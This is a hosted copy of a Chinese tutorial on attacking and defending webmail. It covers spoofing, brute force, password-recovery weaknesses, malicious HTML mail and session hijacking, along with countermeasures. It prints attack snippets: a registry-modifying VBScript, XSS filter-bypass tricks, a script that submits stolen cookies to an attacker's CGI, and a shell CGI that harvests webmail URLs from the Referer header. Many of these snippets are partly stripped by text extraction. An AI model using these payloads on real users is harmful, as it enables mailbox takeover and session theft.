收藏 分享(赏)

黑客教程:Webmail攻防实战.docx

上传人:weiwoduzun 文档编号:4242060 上传时间:2018-12-17 格式:DOCX 页数:13 大小:39.09KB
下载 相关 举报
黑客教程:Webmail攻防实战.docx_第1页
第1页 / 共13页
黑客教程:Webmail攻防实战.docx_第2页
第2页 / 共13页
黑客教程:Webmail攻防实战.docx_第3页
第3页 / 共13页
黑客教程:Webmail攻防实战.docx_第4页
第4页 / 共13页
黑客教程:Webmail攻防实战.docx_第5页
第5页 / 共13页
点击查看更多>>
资源描述

1、Webmail 攻防实战Webmail 是指利用浏览器通过 web 方式来收发电子邮件的服务或技术,不需借助邮件客户端,可以说只要能上网就能使用 webmail,极大地方便了用户对邮件的收发。对于不能熟练使用邮件客户端,或者在网吧不便使用邮件客户端的用户来说,webmail 更是必不可少的选择。Email 能够成为当今 internet 上应用最广泛的网络服务,webmail 可谓功不可没。由于用户的使用不当或者 webmail 系统的开发不周,都有可能给 webmail 的使用带来更多的安全威胁。同样,webmail 系统作为当今电子邮件系统的重要组成部份,它的安全性也是不可忽视的。 一、邮

2、件地址欺骗邮件地址欺骗是非常简单和容易的,攻击者针对用户的电子邮件地址,取一个相似的电子邮件名,在webmail 的邮箱配置中将 “发件人姓名”配置成与用户一样的发件人姓名(有些 webmail 系统没有提供此功能),然后冒充该用户发送电子邮件,在他人收到邮件时,往往不会从邮件地址、邮件信息头等上面做仔细检查,从发件人姓名、邮件内容等上面又看不出异样,误以为真,攻击者从而达到欺骗的目的。例如某用户的电子邮件名是 wolfe,攻击者就会取 w0lfe、wo1fe 、wolfee、woolfe 之类相似的电子邮件名来进行欺骗。虽然免费的午餐越来越难吃,但还是有很多用户使用的是免费电子邮箱,通过注册

3、申请,攻击者很容易得到相似的电子邮件地址。 人们通常以为电子邮件的回复地址就是它的发件人地址,其实不然,在 RFC 822 中明确定义了发件人地址和回复地址可以不一样,熟悉电子邮件客户端使用的用户也会明白这一点,在配置帐户属性或撰写邮件时,可以指定与发件人地址不同的回复地址。由于用户在收到某个邮件时,虽然会检查发件人地址是否真实,但在回复时,并不会对回复地址做出仔细的检查,所以,如果配合 smtp 欺骗使用,发件人地址是要攻击的用户的电子邮件地址,回复地址则是攻击者自已的电子邮件地址,那么这样就会具有更大的欺骗性,诱骗他人将邮件发送到攻击者的电子邮箱中。所谓害人之心不可有,防人之心不可无,鉴于

4、邮件地址欺骗的易于实现和危险性,我们不得不时时提防,以免上当受骗。对于 webmail 系统而言,提供邮件信息头内容检查、smtp 认证(如果该邮件系统支持smtp 的话)等服务技术,将邮件地址欺骗带来的危害降至最小是非常有必要的。对邮件用户而言,认真检查邮件的发件人邮件地址、发件人 IP 地址、回复地址等邮件信息头内容是很重要的。二、Webmail 暴力破解Internet 上客户端与服务端的交互,基本上都是通过在客户端以提交表单的形式交由服务端程序(如CGI、ASP 等)处理来实现的, webmail 的密码验证即如此,用户在浏览器的表单元素里输入帐户名、密码等信息并提交以后,服务端对其进

5、行验证,如果正确的话,则欢迎用户进入自己的 webmail 页面,否则,返回一个出错页面给客户端。籍此,攻击者借助一些黑客工具,不断的用不同的密码尝试登录,通过比较返回页面的异同,从而判断出邮箱密码是否破解成功。帮助攻击者完成此类暴力破解的工具有不少,如 wwwhack、小榕的溯雪等,尤以溯雪的功能最为强大,它本身已经是一个功能完善的浏览器,通过分析和提取页面中的表单,给相应的表单元素挂上字典文件,再根据表单提交后返回的错误标志判断破解是否成功。当然我们也看到,溯雪之类的 web 探测器,可以探测到的不仅是 webmail 的密码,像论坛、聊天室之类所有通过表单进行验证登录的帐户密码都是可以探

6、测到的。对于 webmail 的暴力破解,许多 webmail 系统都采取了相应的防范措施。如果某帐户在较短的时间内有多次错误登录,即认为该帐户受到了暴力破解,防范措施一般有如下三种:1、 禁用帐户:把受到暴力破解的帐户禁止一段时间登录,一般是 5 至 10 分钟,但是,如果攻击者总是尝试暴力破解,则该帐户就一直处于禁用状态不能登录,导致真正的用户不能访问自己的邮箱,从而形成DOS 攻击。2、 禁止 IP 地址:把进行暴力破解的 IP 地址禁止一段时间不能使用 webmail。这虽然在一定程度上解决了“禁用帐户” 带来的问题,但更大的问题是,这势必导致在网吧、公司、学校甚至一些城域网内共用同一

7、IP 地址访问 internet 的用户不能使用该 webmail。如果攻击者采用多个代理地址轮循攻击,甚至采用分布式的破解攻击,那么“禁止 IP 地址 ”就难以防范了。3、 登录检验:这种防范措施一般与上面两种防范措施结合起来使用,在禁止不能登录的同时,返回给客户端的页面中包含一个随机产生的检验字符串,只有用户在相应的输入框里正确输入了该字符串才能进行登录,这样就能有效避免上面两种防范措施带来的负面影响。不过,攻击者依然有可乘之机,通过开发出相应的工具提取返回页面中的检验字符串,再将此检验字符串做为表单元素值提交,那么又可以形成有效的 webmail 暴力破解了。如果检验字符串是包含在图片中

8、,而图片的文件名又随机产生,那么攻击者就很难开发出相应的工具进行暴力破解,在这一点上,yahoo 电邮就是一个非常出色的例子。虽然 webmail 的暴力破解有诸多的防范措施,但它还是很难被完全避免,如果 webmail 系统把一分钟内五次错误的登录当成是暴力破解,那么攻击者就会在一分钟内只进行四次登录尝试。所以,防范 webmail 暴力破解还主要靠用户自己采取良好的密码策略,如密码足够复杂、不与其他密码相同、密码定期更改等,这样,攻击者很难暴力破解成功。三、邮箱密码恢复难免会有用户遗失邮箱密码的情况,为了让用户能找回密码继续使用自己的邮箱,大多数 webmail 系统都会向用户提供邮箱密码

9、恢复机制,让用户回答一系列问题,如果答案都正确的话,就会让用户恢复自己邮箱的密码。但是,如果密码恢复机制不够合理和安全,就会给攻击者加以利用,轻松获取他人邮箱密码。下面是许多 webmail 系统密码恢复机制所采取的密码恢复步骤,只有用户对每步提出的问题回答正确的话才会进入下一步,否则返回出错页面,针对每一步,攻击者都有可乘之机:第一步:输入帐户:在进入密码恢复页面后首先提示用户输入要恢复密码的邮箱帐户。这一步对攻击者而言自然不成问题,邮箱帐户就是他要攻击的目标。第二步:输入生日:提示用户按年月日输入自己的生日。这一步对攻击者而言也很轻松,年月日的排列组合很小,借助溯雪等工具很快就能穷举破解出

10、来,所以 webmail 系统有必要在此采取暴力破解防范措施。并且每个用户需要注意的是,攻击者不一定来自地球的另一端,很可能就是你身边的人,或许这些人更想知道你邮箱里有什么秘密,而他们要弄清你的生日往往是件轻而易举的事情,你不是昨天才过了生日party 吗?你不是刚刚把身份证复印件交给人事部吗?所以,为了邮箱安全,用户是不是要把真实的生日做为邮箱注册信息,webmail 系统是不是一定要用户输入真实的生日做为注册信息,这还有待考虑。第三步:问题回答:提示用户回答自己设定的问题,答案也是用户自己设定的答案。在这一步,攻击者往往只有靠猜测,不幸的是,很多用户的问题和答案是如此的简单,以致于攻击者能

11、轻易的猜测出来,例如提出的问题只是知识性的问题、提出的问题和答案相同等。攻击者对用户越熟悉,成功的可能性就越大,例如有用户问“你男朋友是哪里人” ,殊不知,攻击者正是她的男朋友。所以,用户把问题设置成唯有自己知道的答案至关重要,这样攻击者才很难得逞,不过不要忘了答案,否则就得不偿失了。在用户正确完成以上各步骤以后,webmail 系统就会让用户恢复自己邮箱帐户的密码。密码恢复的方式又各有不同,一般有如下几种方式,安全程度各有不同:1、 页面返回:返回的页面里显示用户的邮箱密码。这样故然方便省事,但是如果让攻击者得到密码,则能在丝毫不惊动用户的情况下使用用户的邮箱,使得攻击者能长期监视用户的邮箱

12、使用情况,给用户带来更大的安全隐患。2、 邮件发送:将密码发送到用户注册时登记的另一个邮箱里。对于攻击者来说,忙了半天,仍然是一无所获,除非继续去攻击另一个邮箱;对于用户来说,在另一个邮箱里收到发来的密码则是一个警告,说明有攻击者猜测到了他的邮箱密码提示问题,迫使用户尽快改变自己的密码提示问题。不过,如果用户注册时登记的不是一个正确的邮箱,或者该邮箱已经失效,那么,这样不仅是攻击者,就是用户本人也永远得不到密码了。有些 webmail 系统在注册时要求用户登记正确的邮件地址,并把邮箱开通的验证信息发往该邮件地址,不过这样仍然不能避免用户在邮箱失效后不能恢复自己邮箱密码的情况发生。3、 密码重设

13、:让用户重新设置一个密码。这种方式相比“页面返回”方式,在攻击者重设密码后,用户因为不能正常登录进自己的邮箱而能察觉出受到攻击,安全性相对好一些;但是相比“邮件发送”方式,因为攻击者能立即修改邮箱密码,少了一层保障,安全性又差一些。由“页面返回” 或“邮件发送”回来的密码可以明显看出,该电子邮件系统是把邮箱帐户的密码未经加密直接以明文保存在数据库或 LDAP 服务器中。这样就造成很大的安全隐患,webmail 系统管理员或侵入数据库的攻击者能轻易获取用户的邮箱密码,用户却完全不知情,所以为了加大保密性,有必要将邮箱密码加密后再以密文存入数据库,最好用不可逆的单向加密算法,如 md5 等。邮箱密

14、码恢复机制是否安全,主要还是看 webmail 系统提出什么样的问题、采取什么样的问答方式,例如将多个密码恢复步骤中提出的问题放在一步中一起提出,就会相应地增加攻击者的难度从而提高安全性,像搜狐邮件、新浪邮件和 yahoo 电邮等都是一些令人失望的例子。四、恶性 HTML 邮件电子邮件有两种格式:纯文本(txt)和超文本(html )。Html 邮件由 html 语言写成,当通过支持 html 的邮件客户端或以浏览器登录进入 webmail 查看时,有字体、颜色、链接、图像、声音等等,给人以深刻的印象,许多垃圾广告就是以 html 邮件格式发送的。利用 html 邮件,攻击者能进行电子邮件欺骗

15、,甚至欺骗用户更改自己的邮箱密码。例如攻击者通过分析webmail 密码修改页面的各表单元素,设计一个隐含有同样表单的 html 页面,预先给“新密码”表单元素赋值,然后以 html 邮件发送给用户,欺骗用户说在页面中提交某个表单或点击某个链接就能打开一个精彩网页,用户照做后,在打开“精彩网页” 的同时,一个修改邮箱密码的表单请求已经发向 webmail 系统,而这一切,用户完全不知情,直到下次不能登录进自己邮箱的时候。为了防止此类的 html 邮件欺骗,在修改邮箱配置时,特别是修改邮箱密码和提示问题时,webmail 系统有必要让用户输入旧密码加以确认,这样也能有效防止载取到当前 webma

16、il 会话的攻击者(下面会介绍)更改邮箱密码。通过在 html 邮件中嵌入恶性脚本程序,攻击者还能进行很多破坏攻击,如修改注册表、非法操作文件、格式化硬盘、耗尽系统资源、修改“开始” 菜单等,甚至能删除和发送用户的邮件、访问用户的地址簿、修改邮箱帐户密码等等。恶性脚本程序一般由 JavaScript 或 VBScript 脚本语言写成,内嵌在 html 语言中,通过调用 ActiveX 控件或者结合 WSH 来达到破坏攻击目的。深受修改浏览器的恶性 html 页面之痛,饱经“欢乐时光” 邮件病毒之苦的朋友,对此应该不会陌生。下面是两个简单的恶性脚本程序:一、打开无数个浏览器窗口,直至 CPU

17、超负荷,非关机不可:二、修改注册表:Set RegWsh = CreateObject(“WScript.Shell“)设置 IE 浏览器默认页 RegWsh.RegWrite “HKCUSoftwareMicrosoftInternet ExplorerMainStart Page“, “http:/“ 鉴于脚本程序可能带来的危险,webmail 系统完全有必要禁止 html 邮件中的脚本程序。禁止脚本程序的基本做法就是过滤掉 html 源程序中能够使脚本程序运行的代码,如 script 元素等,在这方面做的最好的莫过于 hotmail 了。下面是些常见的绕过脚本程序过滤的方法,不少的 we

18、bmail 系统仍然没有完全改正:1、 在 html 语言里,除了 script 元素内的或在 script 元素内引入的脚本程序能在 html 页面装载时被运行外,使用事件属性也能调用脚本程序运行,事件属性在 JavaScript 语言里被称为事件句柄,用于对页面上的某个特定事件(如鼠标点击、表单提交)做出响应,驱动 javascript 程序运行。它的语法如下:例如:Click here2、 URI(Universal Resource Identifier:通用资源标识)用于定位 Internet 上每种可用的资源,如 HTML文档、图像、声音等。浏览器根据 URI 的资源类型(URI

19、scheme)调用相应的程序操作该资源,如果把一些元素的 URI 属性值的资源类型设为 javascript,则能够调用 javascript 程序运行。语法如下,注意要用“;”分隔不同的 javascript 语句:例如:Click here3、 由于软硬件或其他原因,一些冷僻或特殊的字符不能输入或正确显示在 html 页面上,为了解决这个问题,html 中可以使用 SGML 字符参考。字符参考是一种用来指定文档字符集中任何字符的独立编码机制,以“”结束。字符参考有两种表达方式:数字字符参考和实体字符参考。数字字符参考的语法为“” ( D 代表一个十进制数),或 “”、“”(H 代表一个十六

20、进制数),例如“” 、“”表示字母 “A”,“”、“” 表示汉字“水”。攻击者把 html 语句里的一些字符以数字字符参考来代替,这样能避开 webmail 系统对脚本程序的过滤。需要注意的是,元素和属性不可以用字符参考表示,例如:Click her4、 样式表是层叠样式表单(CSS:Cascading Style Sheet)的简称,用于控制、增强或统一网页上的样式(如字体、颜色等),它能够将样式信息与网页内容相分离,在 html 语言的 style 标签内可以用import声明输入一个样式表。但是,如果输入的资源类型或内容是 javascript,Internet Explorer 浏览器

21、仍然会执行。例如:其中 http:/ 的内容如下所示:import url(javascript:alert(JavaScript#2 is executed);import url(javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,84,101,115,116,32,49,39,41,59,97,108,101,114,116,40,39,84,101,115,116,32,50,39,41,59);能够绕过 webmail 系统对脚本程序过滤的方法远不止上面所说的这些,例如曾有人发现把“” 标签改成“”和“”的样子能绕

22、过 yahoo 电邮的过滤,这个漏洞 yahoo 在最近才改正过来。除了可以在 html 邮件中直接嵌入脚本程序外,攻击者还可以设计一些 html 代码,在用户打开 html 邮件时,不知不觉引入另一个 html 文件,而此文件中正含有恶性代码,这样不仅能直接绕过 webmail 系统对脚本程序的过滤,而且还能有效避开提供了防毒服务的邮件系统对恶性代码的查杀。下面是几个调用 html 文件的例子:1、Refresh 到另一个页面:2、Iframe 引入另一个页面:3、scriptlet 引入另一个页面:攻击者还可以采取如下方法,使带有恶性代码的 html 邮件具有更大的隐蔽性:1、 配合邮件欺

23、骗技术,使用户不会怀疑收到的邮件,并且攻击者也能隐藏自己的行踪。2、 把 html 邮件设计成看起来像 txt 邮件。3、 有时可以把 html 邮件中的恶性代码放在一个隐藏的层里面,表面上看不出任何变化。针对恶性脚本程序的影响,对用户常见的建议办法是提高浏览器的安全级别,如禁用 ActiveX、禁用脚本等,但这并不是一个很好的办法,因为这样会影响到用户对其他正常 html 页面的浏览。即使浏览器达到了最高级别,依然对某些恶性代码无济于事,下面是位以色列安全专家发现的漏洞,能让 Windows 系统自动执行任何本地程序,即使 Internet Explorer 已经禁止了 ActiveX 和脚

24、本程序:面对恶性 html 邮件,webmail 系统和用户似乎都没有很好的解决办法,虽然许多 webmail 系统已经能够过滤掉 html 邮件中的很多恶性代码,不过令人遗憾的是,要想彻底过滤掉恶性代码并不是一件容易的事情,攻击者总能利用 webmail 系统过滤机制和浏览器的漏洞找到办法绕过种种过滤,webmail 系统所能做的就是发现一个漏洞补一个漏洞。为了减少乃至避免恶性 html 邮件的影响,在打开 html 邮件之前,webmail 系统有必要提醒用户这是一个html 邮件,如果能提供让用户以文本方式浏览 html 邮件的功能,则是最好不过。在打开不明邮件之前,用户更要小心谨慎,最

25、好把 html 邮件“目标另存为”到本地硬盘上再打开来看,如果能先查看 html 邮件源代码,则是最好不过。另外需要特别提醒用户注意的是,虽然一些电子邮件系统会在 webmail 系统上对 html 邮件中的恶性代码进行过滤,但在 pop3 服务器上并不会进行过滤,所以,如果是通过邮件客户端收取邮件,仍然要谨防恶性 html 邮件的危害。五、Cookie 会话攻击当用户以自已的邮箱帐户和密码登录进 webmail 以后,如果再让用户对每一步操作都输入密码加以确认就会让人不甚其烦。所以 webmail 系统有必要进行用户会话跟踪, webmail 系统用到的会话跟踪技术主要有两种:cookie

26、会话跟踪和 URL 会话跟踪。Cookie 是 web 服务器保存在用户浏览器上的文本信息,可以包含用户名、特殊 ID、访问次数等任何信息,通常此信息用于标识访问同一 web 服务器上的不同用户,在浏览器每次访问同一 web 服务器时会发送过去,用于跟踪特定客户端或浏览器与 web 服务器进行交互的状态。Cookie 的类型有两种:持久型和临时型。持久型 cookie 以文本形式存储在硬盘上,由浏览器存取。使用了持久型 cookie 会话跟踪的 webmail 系统有 hotmail、yahoo 电邮(可选)等。临时型 cookie 也称为会话cookie,存储在内存中,仅为当前浏览器的对话存

27、储,关闭当前浏览器后会立即消失,ASP、PHP4 等开发程序中用到的 session 对象就会产生临时型 cookie。使用了临时型 cookie 会话跟踪的 webmail 系统有FM365、亿邮等。如果攻击者能够获取用户 webmail 的 cookie 信息,那么就能很容易地侵入用户的 webmail。攻击者如何获取用户 webmail 的 cookie 信息呢?如果攻击者在用户的电脑上安装了木马,或者能够从网络线路上对用户进行嗅探侦听,那么获取 cookie 信息自然不成问题,不过这并不是我们讨论问题的意义所在,因为都能够这样了,又何必大费周折去获取 cookie 信息,直接获取邮箱密

28、码就是了。如果 webmail 系统存在跨站脚本执行漏洞,那么攻击者就能欺骗用户从而轻易地获取 cookie 信息,虽然众多网站存在此漏洞,但存在此漏洞的 webmail 系统还很少见。含有恶性脚本程序的 html 邮件能使攻击者获取 webmail 的 cookie 信息。 Html 邮件中的脚本程序先提取当前 webmail 的 cookie 信息,然后把它赋值给某个表单元素,再将表单自动提交给攻击者,攻击者从而获得cookie 会话信息。下面是一段演示程序:var cookie=(document.cookie);alert(cookie);/这一句用于显示当前 cookie 信息,当然

29、,攻击者不会这样做。document.myform.session.value=cookie;document.myform.submit();getcookie.cgi 是放在攻击者 web 服务器上的一个 cgi 程序,用于获取表单提交过来的 cookie 信息,并且做记录或者通知攻击者。当然,攻击者会把 html 邮件、getcookie.cgi 程序设计得更隐蔽,更具欺骗性,让用户难以察觉。通常,浏览器根据 web 服务器的域名来分别保存 cookie 信息,并且只会把 cookie 信息发送给同一域名的web 服务器。不过,浏览器的漏洞给攻击者获取不同域名的 cookie 信息创造了

30、机会,Internet Explorer、Netscape 和 Mozilla 等被广泛使用的浏览器都存在过此类漏洞。下面是几个 Internet Explorer 浏览器(针对 IE5.0、IE5.5 或 6.0)泄漏 cookie 信息的例子:1、 Html 语言中的 object 元素用于在当前页面内嵌入外部对象,但 Internet Explorer 浏览器对 object 元素属性的处理不当会导致任意域的 cookie 信息被泄漏,演示代码如下:var ref=document.getElementById(“data“).object;ref.location.href=“http

31、:/“;setTimeout(“alert(ref.cookie)“,5000);2、 Internet Explorer 浏览器错误处理“about”协议使得一个精心构造的 URL 请求可能会显示或修改任意域的 cookie 信息,例如(以下代码在同一行):about:/ Internet Explorer 浏览器会误把 URL 中“%20” (空格符的 URL 编码)字符串之前的主机名当做 cookie信息所在的域,并且发送出去。假设攻击者有一个域名“”,攻击者把它做成泛域名解析,即把“*”指向攻击者 web 服务器所在的 IP 地址,“”下的任何子域名或主机名都会被解析成这个 IP 地址

32、,当用户提交了类似下面这样的 URL 后,浏览器就会把“” 域名的 cookie信息发送给攻击者:http:/% webmail 的临时型 cookie 信息,就会在 html 邮件中写入相应的代码,在用户浏览邮件时,该代码自动执行,使得攻击者能够获取当前浏览器里的临时 cookie 信息,也可以把用于获取 cookie信息的 URL 发送给用户,诱骗用户打开该 URL,这样攻击者也能获取临时 cookie 信息。在攻击者获取 cookie 信息后,如果 cookie 信息里含有密码等敏感信息,那么攻击者就能很轻易地侵入用户的邮箱,虽然 hotmail 等 webmail 系统曾经发生过此类的

33、情况,但 cookie 信息泄漏敏感信息的 webmail系统还很少见。攻击者在获取 cookie 信息之后,还要让此 cookie 信息由浏览器来存取从而与 webmail 系统建立会话,这样才能侵入用户的 webmail。如果是持久型 cookie 信息,攻击者所要做的是把这个信息复制到自己的cookie 文件中去,由浏览器存取该 cookie 信息从而与 webmail 系统建立会话,不过临时 cookie 信息存储在内存中,并不容易让浏览器存取。为了让浏览器存取临时 cookie 信息,攻击者可以编辑内存中的 cookie 信息,或者修改公开源代码的浏览器,让浏览器能够编辑 cooki

34、e 信息,不过这样都不是很简便的方法,简便的方法是使用 Achilles 程序(packetstormsecurity.org 网站有下载)。Achilles 是一个 http 代理服务器,能够载取浏览器和 web 服务器间的 http 会话信息,并且在代理转发数据之前可以编辑 http 会话以及临时 cookie 信息。Webmail 系统应该避免使用持久型 cookie 会话跟踪,使攻击者在 cookie 会话攻击上不能轻易得逞。为了防止 cookie 会话攻击,用户可以采取如下措施以加强安全:1、 设置浏览器的 cookie 安全级别,阻止所有 cookie 或者只接受某几个域的 coo

35、kie。2、 使用 cookie 管理工具,增强系统 cookie 安全,如 Cookie Pal、Burnt Cookies 等。3、 及时给浏览器打补丁,防止 cookie 信息泄漏。Cookie 会话跟踪除了上面提到的安全缺陷外,还存在如下缺点:1、 并不是每个浏览器都支持 cookie,有些用户为了防止泄露隐私以及从安全性上考虑,可能会禁用浏览器的 cookie。2、 由于功能限制或者设置有误,代理服务器不能够代理 cookie,导致通过代理服务器上网的用户不能登录进入以 cookie 进行会话跟踪的 webmail。六、URL 会话攻击一些 webmail 系统胆敢在客户端不支持 c

36、ookie 时拒绝提供 webmail 服务,如新浪、搜狐等 webmail 系统,而另一些 webmail 系统则视用户为上帝,使用 URL 会话跟踪技术来维护与客户端交互的状态,如、 、 等。URL 会话跟踪是把一些标识会话的字符串加在 URL 里面,对于客户端的每一个 http 连接请求,服务端都会把 URL 里的会话标识和它所保存的会话数据关联起来,从而能够区分不同的客户端,以及进行用户会话跟踪。下面是在浏览器的地址栏里看到的一些 webmail 的 URL,看起来会很长甚至有些怪:http:/ webmail 的 URL 仍然有效,他人只要从浏览器的历史记录里找到该 URL,就可以

37、点击进入用户的 webmail,并不需要任何密码验证,所以用户在退出 webmail 时,不应该直接关闭浏览器,应该点击 webmail 上的“退出”来退出,这样才会清空会话,使 webmail 的 URL 失效,那些在网吧等公共场所上网的用户尤其要注意这一点。如果攻击者知道 webmail 系统的 URL 会话机制,能猜到 webmail 的会话标识,那么就能找到 webmail 的URL,在浏览器地址栏里输入相同的 URL 就能轻易地进入用户的 webmail,所以 webmail 系统应该使用较长的、随机的字符串做为会话标识,使攻击者难以猜测。不过,即使 webmail 系统的 URL

38、会话机制再复杂、会话标识再长,对攻击者而言,要想获得用户 webmail的 URL,往往就像探囊取物一般容易。JavaScript 程序中的 window.location、location.href、document.URL、document.location、document.referrer等对象属性都可以用来获取 webmail 的 URL,攻击者只要在 html 邮件中放入一段脚本代码就可以获取URL,并且能偷偷地发送给攻击者,类似的代码可以参考“cookie 会话攻击”一节里的一段演示程序。Http 协议(RFC2616)里规定 http 请求头域“referer” 用于指明链接的

39、出处,即指明来自客户端的这个连接请求是从哪个 URI 地址提交过来的,例如用户点击页面上的某个链接地址后,发出的 referer 域的内容就是当前页面的 URI 地址。CGI 编程中的环境变量“HTTP_REFERER”用于获取 http 请求头域“referer”,下面是一个在 Linux 下用 shell 写的 CGI 程序:#!/bin/sh#set -fecho Content-type: text/plainecho#写入日志,geturl.log 文件权限要可写echo “date $REMOTE_ADDR $HTTP_REFERER“ /var/log/geturl.log#即时

40、通知攻击者wall “date 收到 webmail url,请检查日志 “#返回给客户端的信息,用于迷惑用户echo “你好! “攻击者把这个 CGI 程序放在自己的 web 服务器上,然后把该 CGI 程序的 URL 地址以单独一行放在 txt 邮件里发给用户,URL 地址会自动变成链接地址,受到欺骗的用户点击后,攻击者就获得了用户 webmail的 URL。当然攻击者也可以把 CGI 程序的 URL 地址放在 html 邮件里做为链接地址让用户来点击,或者就用脚本程序或框架技术使这个 CGI 程序自动运行,或者干脆把这个 CGI 程序的 URL 地址放在 html 邮件源代码 img 元

41、素的 src 属性值,虽然显现不出图片,但这个 CGI 程序照样会收到 http 连接请求,从而获得 webmail 的 URL。Web 服务器的日志记录也能获取 referer 域的内容,以 apache 为例,在 httpd.conf 文件中修改或加入如下配置参数:LogFormat “%t %h %Refereri - %U“ refererCustomLog /usr/local/apache/logs/referer_log referer这样对 web 服务器的每一个 http 连接请求的 referer 域的内容都会写到 referer_log 日志文件里去,攻击者只要分析日志文

42、件就能够知道用户 webmail 的 URL 了。webmail 系统如果支持 html 邮件的话,总不可能会禁止 html 邮件中使用图像,攻击者在发给用户的 html 邮件中放入一张 src 地址在自己 web 服务器上的图片,也就能轻易地获取 webmail 的 URL。这样一来,深怀恶意的攻击者花点小钱去做邮件服务商提供的 webmail 旗帜广告,广告的图片则是放在攻击者的 web 服务器上,那么攻击者就能每天坐收成千上万用户的 webmail 了。浏览器的漏洞和恶意脚本程序导致了 cookie 信息的泄漏,与 cookie 信息泄漏不同,URL 会话信息被泄漏,则是完全出在 HTT

43、P 协议上,除非修改 HTTP 协议。虽然 RFC2616 里指出 referer 域是敏感信息(Sensitive Information),建议浏览器提供友好界面让用户能够允许或禁用传输敏感信息域,不过目前尚未有哪一家浏览器提供了这样的功能界面。可见,无论是 cookie 会话跟踪还是 URL 会话跟踪,都存在着不少的安全问题,所以 webmail 系统有必要采取措施加强会话安全:1、 灵活使用会话跟踪技术:客户端支持 cookie 时,使用相对比较安全的临时型 cookie 会话跟踪机制,否则,使用 URL 会话跟踪,JSP 等开发程序能很容易做到这一点。2、 结合多种会话跟踪技术:同时

44、结合 cookie、URL 会话跟踪技术进行会话跟踪,大大增加攻击者难度。3、 跟客户端 IP 地址相结合:、qmail 的 sqwebmail 等 webmail 系统,就是把当前会话与客户端IP 地址结合在一起来加强安全的。4、 合理设置会话超时时间:在一定时间内客户端没有连接请求则认为会话超时(timeout )。太短了,给用户带来不便;太长了,给攻击者带来方便。七、Webmail 其他安全如果用户在 webmail 里设置了自动回复,攻击者利用这一点,在另一个邮箱里也设置自动回复,并发一封邮件给用户,那么邮件很快就会塞满用户的邮箱,迫使用户不得不取消自动回复,所以,良好的自动回复策略应

45、该是在一定时间内来自同一邮件地址的第二封邮件不应该被自动回复。攻击者还会在邮件附件中夹带病毒、木马等恶性程序来攻击用户的电脑,甚至用来窃取 webmail 密码,所以,对于不明邮件,用户不要奢望那是攻瑰和情书,在对附件进行病毒查杀之前,不要轻易打开它的附件。为了防止垃圾邮件,webmail 系统应有良好的反垃圾邮件功能,一是系统级的垃圾邮件过滤,对一些被投诉和列入反垃圾邮件组织黑名单的邮件地址进行过滤,二是用户级的垃圾邮件过滤,使 webmail 用户可以定制自己的邮件过滤规则,拒绝不受欢迎的邮件,免受垃圾邮件的困扰。使用一些嗅探监听程序,攻击者甚至不需要很高深的专业知识,就能很轻易地嗅探监听

46、到用户 webmail 的密码、邮件内容等。有一个叫“密码监听器” 的黑客程序,几乎能监听到国内所有免费邮箱的密码。所以,webmail 系统有必要支持 ssl,对浏览器与服务器之间传输的数据进行加密,防止被嗅探监听。一些 webmail 系统支持数字签名和数字加密,在 webmail 内可以导入基于公钥加密机制(如 CA 认证中心颁发的数字证书)产生的公私密钥对,能有效地保证邮件的保密性、完整性和不可抵赖性,不过,鉴于webmail 在其他方面的安全问题,一旦攻击者侵入用户的 webmail,用户反而得不偿失,甚至会导致私钥的泄漏。Webmail 系统程序上的漏洞也值得关注,如 IMHO W

47、ebmail 远程帐户劫持漏洞、BasiliX Webmail 远程任意文件泄露漏洞、W3Mail Webmail 执行任意命令漏洞等,甚至 都曾有过重要路径泄漏漏洞。从上面我们可以看到,webmail 的安全问题不容乐观,如果要较好地解决它,一方面要增强 webmail 系统的安全性,另一方面则依赖于用户对 webmail 的正确使用,这些在上面都有讨论,在此就不赘述。如果用户在正确使用 webmail 后仍然存在安全问题,那么剩下的,就是去选择一个好的邮件服务商,或者通过邮件客户端软件来收发邮件,不过,使用 outlook 等邮件客户端软件又会引发其它的安全问题,例如爱虫、求职信等病毒就是利用 outlook 的漏洞来扩散传播和危害用户的。

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 实用文档 > 简明教程

本站链接:文库   一言   我酷   合作


客服QQ:2549714901微博号:道客多多官方知乎号:道客多多

经营许可证编号: 粤ICP备2021046453号世界地图

道客多多©版权所有2020-2025营业执照举报